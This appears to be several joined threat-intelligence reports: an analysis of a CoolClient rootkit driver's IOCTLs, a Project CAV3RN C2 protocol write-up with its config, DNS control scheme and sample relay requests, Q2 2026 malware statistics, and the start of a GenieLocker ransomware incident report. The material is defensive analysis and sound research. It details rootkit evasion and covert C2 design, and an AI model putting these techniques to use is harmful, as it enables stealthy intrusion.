| IOCTL | Handler | Functionality |
| 0x222000 | 0x140001E04 | Enable or disable the rootkit. |
| 0x222004 | 0x1400020B0 | Query the current rootkit state. |
| 0x2220F0 | 0x140002320 | ● Register protected filesystem or registry paths ● Used by CoolClient to register its installation directory and service registry key. |
| 0x2220F4 | 0x1400034DC | Remove a protected filesystem or registry path. |
| 0x2220F8 | 0x140003464 | Clear all protected filesystem and registry path entries. |
| 0x222118 | 0x1400024B0 | Register process or path protection entries. |
| 0x22211C | 0x140002A20 | Query registered protection entries. |
| 0x222120 | 0x140003794 | Update process protection entries. Used by CoolClient to register itself as a trusted process. |
| 0x222124 | 0x14000362C | Remove a protection entry. |
| 0x222128 | 0x14000349C | Clear all process protection entries. |
| 0x222130 | 0x14000265C | Register a protected process by PID. |
| 0x222134 | 0x140010E88 | Inject shellcode into a target process using NtCreateThreadEx. |
| 0x222138 | 0x14000F498 | Hide a kernel module by unlinking it from PsLoadedModuleList. |
| 0x222144 | 0x14000270C | Delete a file. |
| 0x222148 | 0x14000286C | Decrypt an embedded buffer and write it to disk. |
| 0x22214C | 0x1400027F4 | Read and decrypt an encrypted file. |
| 0x222168 | 0x140002780 | Unmap the image section of a target process. |
| 0x22216C | 0x140013984 | Terminate a process by PID. |
| 0x222194 | 0x140011F50 | Remove Protected Process Light (PPL) protection. |
| 0x222198 | 0x140002940 | Create or modify a registry value. |
| 0x22219C | 0x140010630 | Hide a process by unlinking it from the active process list. |
| 0x2221A0 | 0x140010670 | Restore a previously hidden process. |
| 0x2221A4 | 0x14000F8A0 | Hide a module within a process. |
| 0x2221A8 | 0x14000F954 | Restore a hidden module. |
| 0x2221AC | 0x140016368 | Enumerate and restore kernel notification callbacks. |
| 0x2221B0 | 0x140016458 | Disable or restore kernel notification callbacks. |
| 0x2221B4 | 0x140012408 | Manually load a secondary kernel driver. |
| 0x2221B8 | 0x14001262C | Debug/test handler. |
| 0x2221BC | 0x1400165F6 | Write to an arbitrary kernel address. |
| 0x2221C0 | 0x14000BB00, 0x14000BB78 | Enables deny-rootkit mode by registering image-load monitoring and enabling the patching logic. |
| 0x2221C4 | 0x14000BB6C, 0x14000BB10 | Disables deny-rootkit mode by clearing state and unregistering/removing the monitoring logic. |
| 0x2221E0 | 0x1400126C0 | Register a C2 IPv4 address. |
| 0x2221E4 | 0x140012E50 | Delete a C2 IPv4 address. |
After initializing the IOCTL dispatcher, the driver releases the temporary configuration buffer that was previously loaded from \REGISTRY\MACHINE\SYSTEM\RNG.
To support kernel module hiding, the driver resolves the address of the non-exported kernel variable PsLoadedModuleList at runtime using MmGetSystemRoutineAddress. This global linked list maintains information about all loaded kernel modules and drivers, allowing the rootkit to enumerate and manipulate module entries.
Driver initialization routine resolving the address of PsLoadedModuleList for subsequent kernel module hiding
This functionality is exposed through IOCTL 0x222138, which accepts a module name or path from the user-mode component. When a matching module is found, the driver locates the corresponding entry in PsLoadedModuleList and unlinks it by updating its Flink and Blink pointers. As a result, the hidden module no longer appears in standard kernel module enumeration routines.
The driver also hooks the Nsiproxy driver to filter network-related data returned to user mode. This functionality is connected to IOCTL 0x2221E0, which allows the user-mode component to register C2 IPv4 addresses with the driver.
To install the hook, the driver obtains a reference to \Driver\Nsiproxy using ObReferenceObjectByName and replaces one of the Nsiproxy handler pointers with its own filtering routine. The hook preserves the original handler and forwards execution after processing the returned data.
Installing the Nsiproxy hook by resolving \Driver\Nsiproxy and replacing the original handler with the driver’s filtering routine
When the hooked routine processes network information, the driver compares the returned entries against its registered C2 address list. Matching IP addresses are removed before the data is returned to user mode, preventing applications that rely on Nsiproxy-provided network information from seeing the malware’s C2 addresses.
Finally, the driver registers a DriverUnload routine to release allocated resources when the driver is unloaded.
The latest CoolClient variant continues to target organizations consistent with previously observed HoneyMyte activity. Based on our investigations, we identified victims in Myanmar, Mongolia, Pakistan, and Russia, including confirmed government entities.
Across the observed intrusions, CoolClient was consistently deployed as a secondary backdoor following a PlugX infection, indicating that HoneyMyte continues to use PlugX as its initial post-compromise implant before transitioning to CoolClient.
Our analysis confirms that the investigated malware is a new CoolClient variant associated with the HoneyMyte threat group. While the overall execution flow remains consistent with previously documented CoolClient variants, this sample introduces a previously undocumented kernel-mode driver that significantly expands the malware’s stealth capabilities.
The deployment chain observed in this investigation is also consistent with previous HoneyMyte campaigns, in which PlugX serves as the initial foothold before CoolClient is deployed as a secondary backdoor, further reinforcing the attribution.
The latest CoolClient variant represents a significant evolution of the malware. Rather than operating solely as a user-mode backdoor with plugin support, it now deploys and communicates with a kernel-mode driver that extends its capabilities beyond earlier versions. Through this driver, CoolClient can hide and protect processes, files, and registry objects, as well as filter selected network information, making detection and analysis considerably more difficult.
HoneyMyte has previously introduced kernel-mode functionality in ToneShell. The addition of a kernel-mode driver to CoolClient suggests that the group continues to expand its use of rootkit capabilities to improve stealth, persistence, and defense evasion during post-compromise operations.
2d7c8780e97409770a9d4f31c66c9d63 msagent.sys
9460E150E1981D5C165043520C5C12FE msagent.sys
9717F005C5FB98E08D2AD983D88F94EE libngs.dll
F518D8E5FE70D9090F6280C68A95998F libngs.dll
EB79558B037669792652A816E2C669DE ctxmui.dll
C:\Program Files\microsoft\windows defender\
C:\Program Files\windows media player\mediares\
C:\ProgramData\symantecdir\
C:\ProgramData\virtualstore\
C:\Windows\identitycrl\production\
C:\Windows\serviceprofiles\networkservice\
C:\Users\<user>\AppData\Local\viber24.8\
C:\Users\<user>\AppData\Roaming\dsassistant\
C:\Program Files\common files\microsoft shared\office14\
C:\programdata\msdn\
cloudtroe.giize[.]com
employers.theworkpc[.]com
freeread.casacam[.]net
us.lenovoappstore[.]com
sundanish.freeddns[.]org
torinarlabs.webredirect[.]org
news.dursamjbataar[.]org
video.dursamjbataar[.]org
black-popular[.]com
whatismybestthing[.]com
Project CAV3RN is a modular espionage framework used against targets in Israel. This report expands on two earlier publications: the first was published in June 2026 as part of our Kaspersky Threat Intelligence Reporting service, and the second was published on Securelist the following month, further documenting the framework’s evolving architecture and C2 capabilities.
Continued tracking of this cluster in early August 2026 uncovered several previously undocumented components that expanded the framework’s communication and orchestration capabilities. The main finding is a complex C2 module that uses DNS A-record responses to choose between direct HTTPS and a Google Apps Script relay for each transaction. The same DNS infrastructure can validate and replace the relay deployment ID, allowing the operator to rotate the Google channel.
We also identified the framework’s local broker, which discovers and loads DLL components, routes messages between them, and supports runtime upgrades.
The communication module, GoogleService.dll, is a 64-bit DLL compiled with Microsoft .NET 8 NativeAOT. Its PDB path is:
C:\Users\user\Desktop\Modules\broker-cavern\communication\GoogleCommunication\bin\Release\net8.0\win-x64\native\GoogleService.pdb
NativeAOT data also revealed references to eight source files, including the Direct.cs, FindMode.cs, and Google.cs.
The DLL exports GroupByCategory, CheckAvailability, IsPrimeNumber, and OrderByDate. During initialization, its host (local broker) registers the module’s callback and starts CheckAvailability. After three seconds, the module sends a type-0 frame to the fixed identifier 33A4BA78-E286-4FF2-85EC-7365265F3D93. The broker returns Err1::33A4BA78-E286-4FF2-85EC-7365265F3D93, which the module expects and uses to learn the broker’s name before starting its C2 worker.
C2 packets contain type, cid, and payload fields. Packets of the type icmgdd are processed by the communication module itself, while other types, including broker, are forwarded to the local broker. Within command payloads, _;;_ separates the command from its arguments and _,_ separates individual arguments.
At startup, the worker internally sends:
{"type":"icmgdd","cid":0,"payload":"s_version_;;_"}The s_version handler enumerates DLLs under AppContext.BaseDirectory, collects their company names and versions, and appends the communication module’s name/version and the local broker’s name. This inventory is serialized as JSON, XORed with 0xAC, Base64-encoded, and sent as the module’s initial C2 report.
The module supports five internal commands:
| Command | Functionality |
| s_version | Returns the DLL-version inventory described above. The command is executed automatically at startup. |
| s_config | Returns the active configuration and, when provided with a JSON configuration object, replaces it in memory. |
| s_enLog | Enables diagnostic logging at the Debug level. |
| s_deLog | Disables diagnostic logging and sets the logging level to Fatal. |
| s_write | Base64-decodes and GZip-decompresses provided data before writing it to the specified file path. |
The module reads conf.json from the process’s current working directory. If it is missing, the module generates a seven-character client identifier and writes its embedded defaults to disk.
{
"to": "<generated seven-character ID>", // Client ID
"ad": "https://api.studiotikva.com/api/v1/update/check", // Direct C2 URL
"ho": "studiotikva.com", // DNS domain
"gi": "<redacted>", // Apps Script deployment ID
"de": false, // Enable Debug logging at startup
"mi": 120000, // Poll-delay reset after a non-empty response
"ma": 18000000, // Progressive poll-delay cap
"ri": 30000, // Base DNS recovery/error delay, with positive jitter
"ga": "s3criitC0d3/8-)B-,)", // Apps Script relay authentication key
"gu": "https://script.google.com/macros/s/{0}/exec",
"ua": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.64 Safari/537.31",
"mcc": 50, // unknown
"mtc": 10 // unknown
}The s_config command can replace these settings in memory but does not update the file. DNS recovery is the exception: a recovered Apps Script deployment ID is written back to conf.json.
Before polling for commands or sending a result, the module performs a DNS A-record query to select Direct HTTPS or Google Apps Script:
<random nonce><error state>.<hex-encoded client ID>.m.studiotikva.com
The first label combines a three- or four-character uppercase alphanumeric nonce with the current error state: 0 for None, 1 for GIDFailed, 2 for GoogleFailed, and 3 for DirectFailed. Each new transaction starts in state 0.
The exact response 12.19.29[.]30 is treated as a rejection. Other responses are interpreted according to their fourth octet:
| Fourth octet | None (0) | GIDFailed (1) | GoogleFailed (2) | DirectFailed (3) |
| 120 (0x78) | Google Apps Script | Direct HTTPS | Direct HTTPS | Google Apps Script |
| 130 (0x82) | Direct HTTPS | Direct HTTPS | Direct HTTPS | Close the transaction (no channel) |
| 140 (0x8C) | Exception | Exception | Exception | Exception |
| All other values | Google Apps Script | Google Apps Script | Google Apps Script | Google Apps Script |
During analysis, valid .m queries returned 12.121.234[.]120, while malformed queries returned 12.19.29[.]30. For example, YCZ2.41414141303030.m.studiotikva[.]com carries state 2, so the final octet 120 selects Direct HTTPS.
CAV3RN DNS control-plane response: the final octet 120 selects the direct HTTPS channel
When Google mode is selected, the module calculates the MD5 digest of its stored deployment ID and compares its first four bytes with the A record returned by <random5>.<hex-ID>.q.studiotikva[.]com. A mismatch causes the module to retrieve a replacement through .p queries: <random5>.<hex-ID>.p.studiotikva[.]com.
DNS-based deployment-ID freshness check
The offset-0 response contains a one-byte length followed by the first three ID bytes. Each subsequent response contributes four bytes. The observed response 74.65.75.102 represents 4A 41 4B 66: a length of 74 followed by AKf. The DLL stops after collecting the declared length and discards the final padding byte rather than requesting offset 76.
DNS recovery of the Google Apps Script deployment ID: the offset-0 response contains the length byte and first three ID characters, followed by four-byte continuation chunks
One initial response and 18 continuation responses produced a 74-character deployment ID, shown redacted as AKfycby46v0DPSEKWYa****dvQ. The .q response 247.188.216[.]122 contains the bytes f7 bc d8 7a, matching the first four MD5 bytes of the recovered value. This is a 32-bit freshness check.
Wireshark capture showing the .p query sequence used for chunked retrieval of the Google Apps Script deployment ID
When DNS selects Google mode, the module inserts the deployment ID into https://script.google[.]com/macros/s/{deployment-ID}/exec.
Direct GET requests return a decoy page titled My App with the message This application is running normally. C2 polling instead uses an outer POST to Apps Script whose "m":"GET" field instructs the relay to issue a GET request to its upstream server:
POST /macros/s/AKfycbw2Wo4nYIQ*************UxSvjunDmNpeA/exec HTTP/1.1
Host: script.google.com
Content-Type: application/json
{"k":"s3criitC0d3/8-)B-,)","m":"GET","h":{"X-Client-Id":"AAAA000","User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.64 Safari/537.31"},"b":null,"ct":null,"r":true}The request returns a 302 redirect; a redirect-following client subsequently receives a 200 OK serving the response:
HTTP/2 302
content-type: text/html; charset=UTF-8
access-control-allow-origin: *
location: https://script.googleusercontent.com/macros/echo?user_content_key=AUkAhnT1XStTpObO…&lib=MQif1e23CL4IxZSlC7RWEgUDuxmmFKhYR
server: GSE
HTTP/2 200
content-type: application/json; charset=utf-8
access-control-allow-origin: *
server: GSE
{"s":200,"h":{"Content-Type":"text/html; charset=utf-8","Vary":"Cookie","Server":"nginx","Content Length":"4","Connection":"keep-alive","Date":"Mon, 03 Aug 2026 20:07:54 GMT","Access-Control-Allow-Origin":"*"},"b":"OS9FPQ=="}Decoding b produces 9/E=; decoding it again produces f7 f1, which XORs with 0xAC to [], indicating an empty task list. An upstream timeout also exposed https://api.studiotikva[.]com/ac, confirming that the Apps Script deployment forwards requests to an actor-controlled backend.
When DNS selects Direct HTTPS, the module contacts the configured ad address, https://api.studiotikva[.]com/api/v1/update/check, without using the relay. This occurs when the final octet is 130 (0x82) in the None, GIDFailed, or GoogleFailed states, or 120 (0x78) in the GIDFailed or GoogleFailed states. The endpoint expects the custom X-Client-Id header; requests without the expected header return {"res":"failed"} in its HTTP response.
However, a GET request carrying the correct X-Client-Id value receives a 76-byte body as shown in the following figure:
GET request to the header-gated C2 endpoint and its encoded tasking response
Base64-decoding the response body and XORing it with 0xAC produced the following broker-directed task packet: [{"type":"broker","cid":109,"payload":"002_;;__,_"}]. The broker type instructs the communication module to forward the task to the local broker.
The inter-component broker, rnp.dll, is a 64-bit DLL compiled with Microsoft Visual C++. Its embedded PDB path is C:\Users\user\Desktop\Modules\broker-cavern\1.out\rnp.pdb. It masquerades as the RNP OpenPGP library through numerous rnp_* exports, while rnp_backend_string starts the broker.
The broker coordinates the framework’s DLL components. At startup, it creates the BROKER control structure, initializes its message dispatcher, and scans the host directory for DLLs. Components are grouped by CompanyName, and the highest-version candidate from each group is loaded if it exposes GroupByCategory, CheckAvailability, IsPrimeNumber, and OrderByDate.
The directory is rescanned every second, allowing a component to be added or upgraded without restarting the host. Updates require a higher-version DLL under a new path; replacing an existing file in place is not detected.
Loaded components exchange messages through the broker. It locates the requested destination and invokes that component’s callback. Unknown destinations return Err1::<destination>, while unavailable components return Err2::<destination>.
| Command | Function |
| 000 | Lists loaded component names and versions |
| 001 | Lists every DLL path discovered by the scanner |
| 002 | Lists each loaded component’s path, name, and version |
The 002_;;__,_ task recovered from the Direct HTTPS channel is forwarded by the communication module to this broker, which returns its component inventory. When unloading or replacing a component, the broker calls its IsPrimeNumber export and waits for its worker threads to stop before unloading the DLL.
Historical records show that studiotikva[.]com was first registered in February 2024. Wayback Machine captures show Wix’s default disconnected-domain page, while passive DNS associated the domain with Wix infrastructure hosted in an Israeli data center. The domain expired in February 2026 and was subsequently re-registered. It may therefore have originally belonged to a legitimate Israeli business and been acquired by the threat actor only after its expiration; the available evidence does not indicate when ownership changed.
The domain was registered again on May 12, 2026, and redelegated on May 19 to ns1.studiotikva[.]com and ns2.studiotikva[.]com, resolving to 144.172.115[.]17 and 144.172.104[.]82. It later hosted a generic “Studio Tikva” website that provided locally plausible cover: “Tikva” (תקווה) means “hope” in Hebrew.
The infrastructure supported authoritative DNS and direct HTTPS C2. The Google Apps Script deployment acted as an application-layer relay; during an upstream timeout, it exposed https://api.studiotikva[.]com/ac, revealing the actor-controlled backend endpoint.
| Domain | Registrar | IP | Hosting | ASN |
| studiotikva[.]com api.studiotikva[.]com ns1.studiotikva[.]com ns2.studiotikva[.]com |
Dynadot Inc | 144.172.115[.]17 144.172.104[.]82 |
RouterHosting LLC | AS 14956 |
Project CAV3RN continues to evolve, introducing increasingly sophisticated components and communication capabilities. By abusing legitimate services — previously Outlook calendar events and now Google Apps Script — the framework blends its C2 traffic with normal network activity, complicating network-based detection. Given its development pace, modular design, and operational tempo, we assess that CAV3RN will likely continue to expand. We will continue tracking the framework and reporting on its activity in the wild.
Additional IoCs are available to customers of our Threat Intelligence Reporting service. For more details, contact us at intelreports@kaspersky.com.
904784c9943d019da332bea2cd03996f CommunicationUxTheme.dll
f9156d42410c8a5429dec43329bd72e0 net.dll
2dcd4a8ac166404977cd3c48418a8cd9 rnp.dll
981c7404d31b8ce35ec88a6b290f354d GoogleService.dll
34d50eec364d920b8b5d885c9bc98607 texture.dll
studiotikva[.]com
api.studiotikva[.]com
ns1.studiotikva[.]com
ns2.studiotikva[.]com
144.172.115[.]17
144.172.104[.]82
IT threat evolution in Q2 2026. Non-mobile statistics
IT threat evolution in Q2 2026. Mobile statistics
The statistics in this report are based on detection verdicts returned by Kaspersky products unless otherwise stated. The information was provided by Kaspersky users who consented to sharing statistical data.
In Q2 2026:
Microsoft has dismantled an illicit malware-signing service used by ransomware operators. Microsoft’s Digital Crimes Unit has shut down a malware-signing-as-a-service (MSaaS) operation run by the threat group Fox Tempest. The illicit service abused the Microsoft Artifact Signing platform to generate digital signature certificates for malicious software. Malware signed by these certificates was observed in campaigns conducted by such ransomware groups as Rhysida, Akira, INC, Qilin, and BlackByte. The service was also leveraged by operators of the Oyster loader as well as the Lumma and Vidar infostealers. To disrupt the operation, Microsoft seized the domain used by the MSaaS platform, revoked all associated certificates, and disabled the related accounts. Additionally, the company filed a lawsuit against Fox Tempest.
CISA has confirmed that a Windows vulnerability known as BlueHammer is actively being exploited in ransomware attacks. On April 22, the agency updated its Known Exploited Vulnerabilities (KEV) catalog to note the ongoing ransomware exploitation of CVE-2026-33825. The local privilege escalation flaw in Microsoft Defender was originally disclosed earlier in April. Although Microsoft released a fix on April 14, unpatched systems remain vulnerable. CISA did not disclose further details or attribute the attacks to specific threat groups.
Check Point has linked zero-day exploitation of CVE-2026-50751 to the Qilin ransomware group. The critical vulnerability affects Check Point Remote Access VPN and Mobile Access. Attackers began exploiting the flaw as a zero-day on May 7, with activity spiking sharply in early June. While several dozen organizations have been targeted, at least one incident has been definitively tied to Qilin. Check Point also disclosed a related certificate validation flaw (CVE-2026-50752) that affects site-to-site VPN connections relying on the legacy IKEv1 key exchange protocol.
Researchers assess with high confidence that the PayoutsKing group is leveraging the legitimate QEMU emulator to deploy hidden, Alpine Linux-based virtual machines on compromised hosts. Because security solutions often lack visibility inside virtualized environments, the threat actors use this technique to evade detection. Inside the VM image, the operators deploy various tools — such as credential theft software — and configure the virtual machine as a backdoor managed via a reverse SSH tunnel to their command-and-control infrastructure. While the technique is not new, and we’ve detailed it before, it remains relatively rare in ransomware attacks.
This section highlights the most prolific ransomware gangs by number of victims added to each group’s DLS. Qilin reclaimed the top spot (accounting for 14.57% of total listings) after placing second last quarter. It is followed by the Akira ransomware (7.80%) and the DragonForce RaaS group (6.88%).
Number of each group’s victims according to its DLS as a percentage of all groups’ victims published on all the DLSs under review during the reporting period (download)
In Q2, Kaspersky solutions detected four new ransomware families and 2538 new modifications. This signals a continued stabilization following spikes seen in Q1 and Q4 of last year.
Number of new ransomware modifications, Q2 2025 — Q2 2026 (download)
Our solutions protected a total of 71,860 unique users from ransomware during Q2. Ransomware activity peaked in April, with 31,206 targeted users recorded during that month.
Number of unique users attacked by ransomware Trojans, Q2 2026 (download)
| Country/territory* | %** | |
| 1 | South Korea | 0.87 |
| 2 | Pakistan | 0.76 |
| 3 | China | 0.71 |
| 4 | Libya | 0.49 |
| 5 | Tajikistan | 0.46 |
| 6 | Turkmenistan | 0.38 |
| 7 | Cameroon | 0.38 |
| 8 | Indonesia | 0.36 |
| 9 | Bangladesh | 0.36 |
| 10 | Mozambique | 0.34 |
* Excluded are countries and territories with relatively few (under 50,000) Kaspersky users.
** Unique users whose computers were attacked by ransomware Trojans as a percentage of all unique users of Kaspersky products in the country/territory.
| Name | Verdict | %* | |
| 1 | (generic verdict) | Trojan-Ransom.Win32.Gen | 28.02 |
| 2 | WannaCry | Trojan-Ransom.Win32.Wanna | 7.14 |
| 3 | (generic verdict) | Trojan-Ransom.Win32.Crypren | 6.27 |
| 4 | (generic verdict) | Trojan-Ransom.Win32.Agent | 4.89 |
| 5 | (generic verdict) | Trojan-Ransom.Win32.Encoder | 4.65 |
| 6 | (generic verdict) | Trojan-Ransom.Python.Agent | 3.07 |
| 7 | (generic verdict) | Trojan-Ransom.Win32.Crypmod | 2.70 |
| 8 | (generic verdict) | Trojan-Ransom.MSIL.Agent | 2.45 |
| 9 | PolyRansom/VirLock | Virus.Win32.PolyRansom / Trojan-Ransom.Win32.PolyRansom | 2.31 |
| 10 | (generic verdict) | Trojan-Ransom.Win32.Phny | 2.12 |
* Unique Kaspersky users attacked by the specific ransomware Trojan family as a percentage of all unique users attacked by this type of threat.
In Q2 2026, Kaspersky solutions detected 6067 new miner variants, almost twice the number for the previous reporting period.
Number of new miner modifications, Q2 2026 (download)
In Q2, we detected attacks using miner programs on the computers of 213,003 unique Kaspersky users worldwide.
Number of unique users attacked by miners, Q2 2026 (download)
| Country/territory* | %** | |
| 1 | Mali | 1.56 |
| 2 | Senegal | 1.54 |
| 3 | Tanzania | 1.32 |
| 4 | Panama | 1.04 |
| 5 | Bangladesh | 1.03 |
| 6 | Ethiopia | 0.87 |
| 7 | Costa Rica | 0.67 |
| 8 | Bolivia | 0.67 |
| 9 | Côte d’Ivoire | 0.65 |
| 10 | Kazakhstan | 0.62 |
* Excluded are countries and territories with relatively few (under 50,000) Kaspersky users.
** Unique users whose computers were attacked by miners as a percentage of all unique users of Kaspersky products in the country/territory.
In April, Aikido researchers reported a new attack by the GlassWorm stealer, which was distributed via malicious IDE extensions on the Open VSX Registry. The payload operated by installing a secondary malicious extension across all installed IDE environments on the host machine. Ultimately, this second-stage implant exfiltrated crypto wallet data, environment variables, and other secrets. It also installed a RAT on the infected device.
In May, Socket researchers uncovered a supply chain compromise involving the popular npm package art-template. As a result of the breach, the weaponized package injected the Coruna exploit kit into web applications it was used to build. Coruna targets iOS devices.
In June, Palo Alto Networks’ Unit 42 discovered FlutterShell, a new backdoor family that targets macOS devices. Developed with the Flutter framework, the malware leverages the WebView engine to load web pages that contain malicious JavaScript. On the client side, the backdoor registers bridge functions invoked by the loaded JavaScript that allow threat actors to execute arbitrary payloads on the victim’s device. Notably, the malicious applications successfully passed Apple notarization. Although the specific samples analyzed functioned primarily as adware, the underlying architecture permits the delivery of far more sophisticated malicious payloads.
* Unique users who encountered this malware as a percentage of all attacked users of Kaspersky security solutions for macOS (download)
* Data for the previous quarter may differ slightly from previously published data due to some verdicts being retrospectively revised.
Detections of PasivRobber spyware continued their downward trend. Meanwhile, adware and traffic-routing utilities (categorized as NetTool) rose to the top of the rankings. Additionally, Q2 saw a noticeable spike in detections for the DirtyCow exploit frequently leveraged for iPhone jailbreaking.
| Country/territory | %* Q1 2026 | %* Q2 2026 |
| Brazil | 1.13 | 1.13 |
| China | 1.04 | 1.28 |
| Hong Kong | 0.92 | 0.49 |
| Singapore | 0.85 | 0.19 |
| France | 0.62 | 1.18 |
| Mexico | 0.43 | 0.72 |
| India | 0.41 | 0.42 |
| Thailand | 0.40 | 0.24 |
| Germany | 0.33 | 0.71 |
| The Netherlands | 0.31 | 0.62 |
* Unique users who encountered threats to macOS as a percentage of all unique Kaspersky users in the country/territory.
This section presents statistics on attacks targeting Kaspersky IoT honeypots. The geographic data on attack sources is based on the IP addresses of attacking devices.
In Q2 2026, the breakdown of attacking devices and sessions that targeted Kaspersky honeypots by protocol was as follows:
Distribution of attacked services by number of unique IP addresses of attacking devices (download)
The share of SSH attacks saw a slight uptick compared to the previous quarter.
Distribution of cybercriminal sessions in Kaspersky honeypots (download)
Share of each threat delivered to an infected device as a result of a successful attack, out of the total number of threats delivered (download)
As is typically the case, Mirai botnet variants continue to dominate the IoT threat landscape. Activity of another prominent botnet, Prometei, also saw an increase.
the Netherlands, Germany, and The United States accounted for the highest proportions of SSH-based attacks during this period. While the top three countries remained the same as last quarter, their relative rankings shifted.
| Country/territory | Q1 2026 | Q2 2026 |
| The Netherlands | 17.57% | 21.18% |
| Germany | 10.34% | 16.73% |
| United States | 23.74% | 6.76% |
| Bulgaria | 1.10% | 5.50% |
| Sweden | 2.09% | 4.93% |
| Panama | 6.34% | 4.67% |
| Luxembourg | 0.16% | 4.62% |
| Romania | 5.82% | 4.06% |
| Vietnam | 3.50% | 3.91% |
| India | 6.05% | 2.78% |
The percentage of Telnet-based attacks originating from Pakistan continued to climb, knocking China down to second place.
| Country/territory | Q1 2026 | Q2 2026 |
| Pakistan | 27.31% | 36.60% |
| China | 39.54% | 35.62% |
| Russian Federation | 8.25% | 8.75% |
| India | 4.66% | 4.19% |
| Brazil | 3.30% | 3.34% |
| United States | 0.45% | 3.03% |
| Indonesia | 6.71% | 1.52% |
| Philippines | 0.36% | 0.95% |
| France | 0.17% | 0.84% |
| Thailand | 0.55% | 0.66% |
The statistics in this section are based on detection verdicts by Web Anti-Virus, which protects users when suspicious objects are downloaded from malicious or infected web pages. These malicious pages are purposefully created by cybercriminals. Websites that host user-generated content, such as message boards, as well as compromised legitimate sites, can become infected.
The following statistics show the distribution by country/territory of the sources of internet attacks blocked by Kaspersky products on user computers (web pages redirecting to exploits, sites containing exploits and other malware, botnet C&C centers, and so on). One or more web-based attacks could originate from each unique host.
To determine the geographic source of web attacks, we matched the domain name with the real IP address where the domain is hosted, then identified the geographic location of that IP address (GeoIP).
In Q2 2026, Kaspersky solutions blocked 399,312,961 attacks launched from internet resources worldwide. Web Anti-Virus was triggered by 52,850,592 unique URLs.
Web-based attacks by country/territory, Q1 2026 (download)
To assess the risk of malware infection via the internet for users’ computers in different countries and territories, we calculated the share of Kaspersky users in each location on whose computers Web Anti-Virus was triggered during the reporting period. The resulting data provides an indication of the aggressiveness of the environment in which computers operate in different countries and territories.
This ranked list includes only attacks by malicious objects classified as Malware. Our calculations leave out Web Anti-Virus detections of potentially dangerous or unwanted programs, such as RiskTool or adware.
| Country/territory* | %** | |
| 1 | Bangladesh | 11.71 |
| 2 | India | 7.40 |
| 3 | Tajikistan | 7.13 |
| 4 | Venezuela | 7.05 |
| 5 | New Zealand | 6.58 |
| 6 | Vietnam | 6.34 |
| 7 | Taiwan | 6.28 |
| 8 | Belgium | 6.24 |
| 9 | France | 5.97 |
| 10 | Hungary | 5.92 |
| 11 | Nepal | 5.91 |
| 12 | Portugal | 5.86 |
| 13 | Italy | 5.77 |
| 14 | Costa Rica | 5.72 |
| 15 | Canada | 5.65 |
| 16 | Qatar | 5.61 |
| 17 | Dominican Republic | 5.52 |
| 18 | Palestine | 5.48 |
| 19 | Greece | 5.47 |
| 20 | UAE | 5.43 |
* Excluded are countries and territories with relatively few (under 10,000) Kaspersky product users.
** Unique users targeted by web-based Malware attacks as a percentage of all unique users of Kaspersky products in the country/territory.
On average during the quarter, 4.54% of users’ computers worldwide were subjected to at least one Malware web attack.
Statistics on local infections of user computers are an important indicator. They include objects that penetrated the target computer by infecting files or removable media, or initially made their way onto the computer in non-open form. Examples of the latter are programs in complex installers and encrypted files.
Data in this section is based on analyzing statistics produced by anti-virus scans of files on the hard drive at the moment they were created or accessed, and the results of scanning removable storage media. The statistics are based on detection verdicts from the On-Access Scan (OAS) and On-Demand Scan (ODS) modules of File Anti-Virus and include detections of malicious programs located on user computers or removable media connected to the computers, such as flash drives, camera memory cards, phones, or external hard drives.
In Q2 2026, our File Anti-Virus detected 16,986,351 malicious and potentially unwanted objects.
For each country and territory, we calculated the percentage of Kaspersky users whose computers had the File Anti-Virus triggered at least once during the reporting period. These statistics reflect the level of personal computer infection in different countries.
Note that this ranked list includes only attacks by malicious objects classified as Malware. Our calculations leave out File Anti-Virus detections of potentially dangerous or unwanted programs, such as RiskTool or adware.
| Country/territory* | %** | |
| 1 | Turkmenistan | 46.38 |
| 2 | Cuba | 29.70 |
| 3 | Tajikistan | 28.46 |
| 4 | Afghanistan | 28.19 |
| 5 | Yemen | 27.85 |
| 6 | Burundi | 26.82 |
| 7 | Mozambique | 25.01 |
| 8 | Republic of the Congo | 24.88 |
| 9 | Syria | 23.17 |
| 10 | Uzbekistan | 22.49 |
| 11 | China | 21.92 |
| 12 | Nicaragua | 21.60 |
| 13 | Cameroon | 21.47 |
| 14 | Bangladesh | 20.43 |
| 15 | Democratic Republic of the Congo | 20.25 |
| 16 | Algeria | 19.78 |
| 17 | Uganda | 19.48 |
| 18 | Ethiopia | 18.57 |
| 19 | Tanzania | 18.54 |
| 20 | Mali | 18.53 |
* Excluded are countries and territories with relatively few (under 10,000) Kaspersky users.
** Unique users on whose computers Malware local threats were blocked, as a percentage of all unique users of Kaspersky products in the country/territory.
On average worldwide, Malware local threats were detected at least once on 10.93% of users’ computers during Q2.
Russia scored 10.78% in these rankings.
The new GenieLocker ransomware family has been active since March 2026. It has been used in attacks against organizations in the Russian Federation, primarily in the manufacturing sector, and attributed to the Toy Ghouls group by open-source intelligence (link in Russian).
The Toy Ghouls, also known as Bearlyfy, Labubu and Laboo.boo, is a financially motivated extortion group, which previously relied on third-party encryption Trojans like RedAlert, LockBit, and Babuk. GenieLocker, apparently a custom design, upgrades their toolkit and reduces their reliance on third-party software. We discovered multiple samples of this Trojan in two variants: PE builds for Windows and ELF builds for Linux and ESXi.
We described typical TTPs and modus operandi of the Toy Ghouls threat actor in the previous post (link in Russian).
In this article, we aim to thoroughly describe the capabilities of Windows and Linux builds of the custom encryption Trojan GenieLocker. To give more context, we will also provide a brief overview of the attack that took place at the end of March 2026, where GenieLocker was deployed on the victim’s systems.
During the incident, the attackers first entered the environment through an OpenVPN connection originating from an external partner’s network. They likely exploited the trusted relationship with that partner and used stolen, yet still valid, credentials to connect.
After breaching the target’s network, the attackers installed additional tools on the compromised hosts, including OpenSSH, socks5.exe, SoftPerfect Network Scanner, and Mimikatz. They employed SoftPerfect Network Scanner for discovery and used Mimikatz to dump credentials. Forensic analysis also shows that they accessed the KeePassXC password manager already installed on several compromised machines, likely attempting to extract the stored credentials from the KeePass databases.
Lateral movement was performed by using RDP to reach Windows machines and SSH for Linux servers. The widespread deployment of the encryption Trojan was conducted with the legitimate utilities PsExec and PAExec. Additionally, the attackers established a reverse SSH tunnel to communicate with their command‑and‑control server.
